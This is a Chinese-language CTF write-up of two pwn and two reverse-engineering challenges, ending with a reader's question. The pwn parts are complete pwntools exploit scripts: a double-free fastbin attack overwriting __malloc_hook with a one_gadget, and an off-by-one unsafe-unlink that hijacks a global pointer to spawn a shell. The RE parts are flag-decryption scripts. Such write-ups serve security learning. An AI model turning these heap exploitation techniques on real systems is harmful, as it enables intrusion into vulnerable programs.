题目是安恒给的,难度主要是“简单”和“中等”的,估计是比较早的题目了。
PWN
两个 PWN 都没给 libc,怀疑题目是比较早的题目,用 double free leak 了一下,发现就是 2.23,和本机环境一致。
sign_in
UAF,打 __malloc_hook - 0x23,用 double free 来触发 malloc,这时栈上会有很多 0,可以符合 onegadget 的要求
from pwn import *
elf = None
libc = None
file_name = "./sign_in"
#context.timeout = 1
def get_file(dic=""):
context.binary = dic + file_name
return context.binary
def get_libc(dic=""):
libc = None
try:
data = os.popen("ldd {}".format(dic + file_name)).read()
for i in data.split('\n'):
libc_info = i.split("=>")
if len(libc_info) == 2:
if "libc" in libc_info[0]:
libc_path = libc_info[1].split(' (')
if len(libc_path) == 2:
libc = ELF(libc_path[0].replace(' ', ''), checksec=False)
return libc
except:
pass
if context.arch == 'amd64':
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6", checksec=False)
elif context.arch == 'i386':
try:
libc = ELF("/lib/i386-linux-gnu/libc.so.6", checksec=False)
except:
libc = ELF("/lib32/libc.so.6", checksec=False)
return libc
def get_sh(Use_other_libc=False, Use_ssh=False):
global libc
if args['REMOTE']:
if Use_other_libc:
libc = ELF("./libc.so.6", checksec=False)
if Use_ssh:
s = ssh(sys.argv[3], sys.argv[1], sys.argv[2], sys.argv[4])
return s.process(file_name)
else:
return remote(sys.argv[1], sys.argv[2])
else:
return process(file_name)
def get_address(sh, libc=False, info=None, start_string=None, address_len=None, end_string=None, offset=None,
int_mode=False):
if start_string != None:
sh.recvuntil(start_string)
if libc == True:
if info == None:
info = 'libc_base:\t'
return_address = u64(sh.recvuntil('\x7f')[-6:].ljust(8, '\x00'))
elif int_mode:
return_address = int(sh.recvuntil(end_string, drop=True), 16)
elif address_len != None:
return_address = u64(sh.recv()[:address_len].ljust(8, '\x00'))
elif context.arch == 'amd64':
return_address = u64(sh.recvuntil(end_string, drop=True).ljust(8, '\x00'))
else:
return_address = u32(sh.recvuntil(end_string, drop=True).ljust(4, '\x00'))
if offset != None:
return_address = return_address + offset
if info != None:
log.success(info + str(hex(return_address)))
return return_address
def get_flag(sh):
try:
sh.recvrepeat(0.1)
sh.sendline('cat flag')
return sh.recvrepeat(0.3)
except EOFError:
return ""
def get_gdb(sh, addr=None, gdbscript=None, stop=False):
if args['REMOTE']:
return
if gdbscript is not None:
gdb.attach(sh, gdbscript)
elif addr is not None:
gdb.attach(sh, 'b *$rebase(' + hex(addr) + ")")
else:
gdb.attach(sh)
if stop:
raw_input()
def Attack(target=None, elf=None, libc=None):
global sh
if sh is None:
from Class.Target import Target
assert target is not None
assert isinstance(target, Target)
sh = target.sh
elf = target.elf
libc = target.libc
assert isinstance(elf, ELF)
assert isinstance(libc, ELF)
try_count = 0
while try_count < 3:
try_count += 1
try:
pwn(sh, elf, libc)
break
except KeyboardInterrupt:
break
except EOFError:
sh.close()
if target is not None:
sh = target.get_sh()
target.sh = sh
if target.connect_fail:
return 'ERROR : Can not connect to target server!'
else:
sh = get_sh()
flag = get_flag(sh)
return flag
def choice(idx):
sh.sendlineafter("Your choice : ", str(idx))
def add(size, name, message = "wjh"):
choice(1)
sh.sendlineafter("size of the game's name: ", str(size))
sh.sendafter("game's name:", name)
sh.sendlineafter("game's message:", message)
def show():
choice(2)
def delete(idx):
choice(3)
sh.sendlineafter("game's index:", str(idx))
def pwn(sh, elf, libc):
context.log_level = "debug"
add(0x68, 'a' * 0x68) #0
add(0x68, 'a' * 0x68) #1
add(0x88, 'a' * 0x88)
add(0x88, 'a' * 0x88)
delete(2)
add(0x58, 'a') #2
show()
libc_base = get_address(sh, True, offset=-0x3c4b61)
one_gadget = [0x45226, 0x4527a, 0xf03a4, 0xf1247]
malloc_hook_addr = libc_base + 0x3c4b10
delete(0)
delete(1)
delete(0)
add(0x68, p64(malloc_hook_addr - 0x23))
add(0x68, 'b' * 8)
add(0x68, 'c' * 8)
add(0x68, 'a' * 0x13 + p64(one_gadget[1] + libc_base))
#get_gdb(sh)
delete(0)
delete(0)
sh.interactive()
if __name__ == "__main__":
sh = get_sh()
flag = Attack(elf=get_file(), libc=get_libc())
sh.close()
if flag != "":
log.success('The flag is ' + re.search(r'flag{.+}', flag).group())
Summeron
感觉比前一题还简单,洞是 off by one,因为没开 PIE,直接劫持全局指针就好。
from pwn import *
elf = None
libc = None
file_name = "./Summeron"
# context.timeout = 1
def get_file(dic=""):
context.binary = dic + file_name
return context.binary
def get_libc(dic=""):
libc = None
try:
data = os.popen("ldd {}".format(dic + file_name)).read()
for i in data.split('\n'):
libc_info = i.split("=>")
if len(libc_info) == 2:
if "libc" in libc_info[0]:
libc_path = libc_info[1].split(' (')
if len(libc_path) == 2:
libc = ELF(libc_path[0].replace(' ', ''), checksec=False)
return libc
except:
pass
if context.arch == 'amd64':
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6", checksec=False)
elif context.arch == 'i386':
try:
libc = ELF("/lib/i386-linux-gnu/libc.so.6", checksec=False)
except:
libc = ELF("/lib32/libc.so.6", checksec=False)
return libc
def get_sh(Use_other_libc=False, Use_ssh=False):
global libc
if args['REMOTE']:
if Use_other_libc:
libc = ELF("./libc.so.6", checksec=False)
if Use_ssh:
s = ssh(sys.argv[3], sys.argv[1], sys.argv[2], sys.argv[4])
return s.process(file_name)
else:
return remote(sys.argv[1], sys.argv[2])
else:
return process(file_name)
def get_address(sh, libc=False, info=None, start_string=None, address_len=None, end_string=None, offset=None,
int_mode=False):
if start_string != None:
sh.recvuntil(start_string)
if libc == True:
if info == None:
info = 'libc_base:\t'
return_address = u64(sh.recvuntil('\x7f')[-6:].ljust(8, '\x00'))
elif int_mode:
return_address = int(sh.recvuntil(end_string, drop=True), 16)
elif address_len != None:
return_address = u64(sh.recv()[:address_len].ljust(8, '\x00'))
elif context.arch == 'amd64':
return_address = u64(sh.recvuntil(end_string, drop=True).ljust(8, '\x00'))
else:
return_address = u32(sh.recvuntil(end_string, drop=True).ljust(4, '\x00'))
if offset != None:
return_address = return_address + offset
if info != None:
log.success(info + str(hex(return_address)))
return return_address
def get_flag(sh):
try:
sh.recvrepeat(0.1)
sh.sendline('cat flag')
return sh.recvrepeat(0.3)
except EOFError:
return ""
def get_gdb(sh, addr=None, gdbscript=None, stop=False):
if args['REMOTE']:
return
if gdbscript is not None:
gdb.attach(sh, gdbscript)
elif addr is not None:
gdb.attach(sh, 'b *$rebase(' + hex(addr) + ")")
else:
gdb.attach(sh)
if stop:
raw_input()
def Attack(target=None, elf=None, libc=None):
global sh
if sh is None:
from Class.Target import Target
assert target is not None
assert isinstance(target, Target)
sh = target.sh
elf = target.elf
libc = target.libc
assert isinstance(elf, ELF)
assert isinstance(libc, ELF)
try_count = 0
while try_count < 3:
try_count += 1
try:
pwn(sh, elf, libc)
break
except KeyboardInterrupt:
break
except EOFError:
sh.close()
if target is not None:
sh = target.get_sh()
target.sh = sh
if target.connect_fail:
return 'ERROR : Can not connect to target server!'
else:
sh = get_sh()
flag = get_flag(sh)
return flag
def choice(idx):
sh.sendlineafter("choice >", str(idx))
def add(size, content='sh\x00'):
choice(1)
sh.sendlineafter("Please enter the length of the Summoner's name:", str(size))
sh.sendlineafter("Please enter the length of the summoner's introduction:", str(0))
sh.sendlineafter("Summoner's name:", content)
sh.recvuntil("Add success!")
def edit(idx, content):
choice(2)
sh.sendlineafter("index>", str(idx))
sh.sendlineafter("Do you want to edit the name or introduction?(1/2):", "1")
sh.sendlineafter("Please enter the name of the new summoner:", str(content))
def delete(idx):
choice(3)
sh.sendlineafter("index>", str(idx))
sh.recvuntil('Delete success!')
def show(idx):
choice(4)
sh.sendlineafter("index>", str(idx))
def pwn(sh, elf, libc):
context.log_level = "debug"
target = 0x0000000000602060
FD = target - 0x18
BK = target - 0x10
add(0xF8) # 0
add(0xF8) # 1
add(0x18) # 2
delete(1)
add(0xF8, '\n') # 3
show(3)
libc_base = get_address(sh, True, offset=-0x3c4b0a)
edit(0, p64(0) + p64(0xF1) + p64(FD) + p64(BK) + 'a' * (0xF8 - 0x28) + p64(0xF0) + '\x00')
delete(3)
edit(0, 'a' * 0x18 + p64(libc_base + 0x3c67a8))
edit(0, p64(libc_base + 0x453a0))
# get_gdb(sh)
choice(3)
sh.sendlineafter("index>", str(2))
sh.interactive()
if __name__ == "__main__":
sh = get_sh()
flag = Attack(elf=get_file(), libc=get_libc())
sh.close()
if flag != "":
log.success('The flag is ' + re.search(r'flag{.+}', flag).group())
RE
冰冰给我 flag 可以吗
exe 解包得到 pyc,pyc 解密得到源码,逆回去写一下解密就好。这题的 flag 有误,找了一下裁判。
import base58
if __name__ == '__main__':
fp = open(r'C:\\1.png', 'rb')
tmp = fp.read().decode('utf-8')
t = ""
for i in range(len(tmp)):
t += chr(((ord(tmp[i]) ^ 0x89) + 256) & 0xff)
tmp = base58.b58decode(t)
fp = open('C:\\2.png', 'wb')
fp.write(tmp)
fp.close()
howtodecompile
几个花指令,直接 nop 掉就能看伪代码了,写个解密就好。
#include <cstdio>
#include <string.h>
unsigned char input1[] =
{
0x60, 0x65, 0x77, 0x67, 0x70, 0x62, 0x5F, 0x50, 0x4C, 0x4D,
0x57, 0x7B, 0x4D, 0x57, 0x7B, 0x45, 0x7B, 0x42, 0x45, 0x4F,
0x41, 0x7B, 0x42, 0x48, 0x45, 0x43, 0x1B, 0x59, 0x00
};
int main()
{
unsigned int dword_20DC30[28] = {
0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0xFFFFFFDA,
0xFFFFFFE7, 0x00000006, 0xFFFFFFBD, 0x00000000, 0xFFFFFFE0, 0xFFFFFFB4, 0x00000002, 0xFFFFFFF6,
0x00000000, 0x0000000E, 0xFFFFFFF1, 0x0000000A, 0xFFFFFFCE, 0x00000000, 0xFFFFFFE0, 0xFFFFFFB5,
0x00000000, 0xFFFFFFD2, 0xFFFFFFE2, 0x00000000
};
char v2; // bl
char v3; // al
char Destination[264]; // [esp+D0h] [ebp-114h] BYREF
int i; // [esp+1D8h] [ebp-Ch]
for (int i = 0; i < 28; ++i)
{
input1[i] ^= 0x24u;
}
for (i = 0; i < 28; ++i)
{
input1[i] += dword_20DC30[i];
}
printf("%s", input1);
}
花指令怎么nop掉的啊[email protected](泪)